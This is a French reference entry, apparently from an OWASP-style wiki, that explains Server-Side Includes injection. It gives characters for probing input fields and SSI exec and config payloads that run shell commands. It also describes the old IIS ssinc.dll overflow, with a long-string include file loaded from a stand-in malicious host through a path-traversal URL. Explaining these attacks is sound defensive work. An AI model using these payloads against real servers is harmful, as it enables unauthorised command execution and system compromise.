Table of Contents
Description
Les SSI sont des directives présentes dans les applications Web utilisées pour alimenter une page HTML avec des contenus dynamiques. Ils sont similaires aux scripts CGI, sauf que les SSI sont utilisées pour exécuter certaines actions avant que la page courante ne soit chargée ou que la page soit en cours de visualisation. Pour ce faire, le serveur Web analyse les SSI avant d'alimenter la page de l'utilisateur.
L'attaque Server-Side Includes permet l'exploitation d'une faille de l'application web en injectant du code exécutable dans des pages HTML ou en exécutant des codes arbitraires à distance. Elle peut être exploitée par la manipulation des SSI en cours d'utilisation dans l'application ou forcer son utilisation dans les champs d'entrée de l'utilisateur.
Il est possible de vérifier si l'application valide correctement le contenu des champs de saisie de données en insérant des caractères qui sont utilisés dans les directives SSI, comme:
<nowiki>< ! # = / . " - > and [a-zA-Z0-9] </nowiki>
Une autre façon de découvrir si l'application est vulnérable est de vérifier la présence de pages avec l'extension. Stm. Shtm et. Shtml. Cependant, l'absence de ce type de pages ne signifie pas que l'application est protégé contre les attaques SSI.
Dans tous les cas, l'attaque ne peut réussir que si le serveur Web permet l'exécution de SSI sans validation adéquate. Cela peut conduire à l'accès et à la manipulation du système de fichiers et de processus sous les droits d'accès du propriétaire du processus serveur web.
L'attaquant peut accéder à des informations sensibles, telles que les fichiers de mots de passe, et exécuter des commandes shell. Les directives SSI sont injectées dans les champs d'entrée et elles sont envoyées au serveur. Le serveur Web analyse et exécute les directives avant d'alimenter la page. Ensuite, le résultat sera visible la prochaine fois que la page sera chargée par le navigateur de l'utilisateur.
Exemples
Exemple 1
Les commandes utilisées pour injecter du SSI varient en fonction du système d'exploitation du serveur à utiliser. Les commandes suivantes représentent la syntaxe qui doit être utilisé pour exécuter des commandes du système d'exploitation.
Linux:
- Liste des fichiers du répertoire:
<nowiki>< !--#exec cmd="ls" --></nowiki>
- Accès aux répertoires :
Windows:
- Liste des fichiers du répertoire:
<nowiki>< !--#exec cmd="dir" --></nowiki>
- Accès aux répertoires :
<nowiki>< !--#exec cmd="cd C:\admin\dir"></nowiki>
Exemple 2
Exemples de commandes SSI qui peuvent être utilisés pour accéder et configurer les informations serveur:
- Pour changer la sortie message d'erreur:
<nowiki><!--#config errmsg="File not found, informs users and password"--></nowiki>
- Pour afficher le nom du document en cours:
<nowiki><!--#echo var="DOCUMENT_NAME" --></nowiki>
- Pour afficher le chemin (path) et le nom de fichier:
<nowiki><!--#echo var="DOCUMENT_URI" --></nowiki>
- En utilisant la commande “config” et du paramètre “timefmt”, il est possible de contrôler la date et le format d'affichage de la date:
<nowiki><!--#config timefmt="A %B %d %Y %r"--></nowiki>
- En utilisant de la commande “fsize” , il est possible d'afficherr le format de fichier sélectionné:
<nowiki><!--#fsize file="ssi.shtml" --></nowiki>
Exemple 3
Une ancienne vulnérabilité dans les versions IIS 4.0 et 5.0 permet à un attaquant d'obtenir les privilèges du système grâce à une attaque en dépassement de mémoire tampon dans une bibliothèque de liens dynamiques (ssinc.dll). La librairie “ssinc.dll» est utilisé pour interprèter les commandes Server-Side Includes. CVE 2001-0506.
En créant une page malveillante contenant le code SSI ci-dessous et en forçant l'application à charger cette page (attaque de type Path Traversal), il est possible d'effectuer cette attaque:
ssi_over.shtml
<nowiki><!--#include file=”UUUUUUUU...UU”--></nowiki>
PS: Le nombre de “U” doit être supérieure à 2049.
Forcer l'application à charger la page ssi_over.shtml:
URL Non malveillante :
www.vulnerablesite.org/index.asp?page=news.asp
URL malveillante:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
Si le code IIS retourne une page blanche, cela indique que le débordement est survenu. Dans ce cas, l'attaquant pourrait manipuler le flux intérieur et exécuter du code arbitraire.
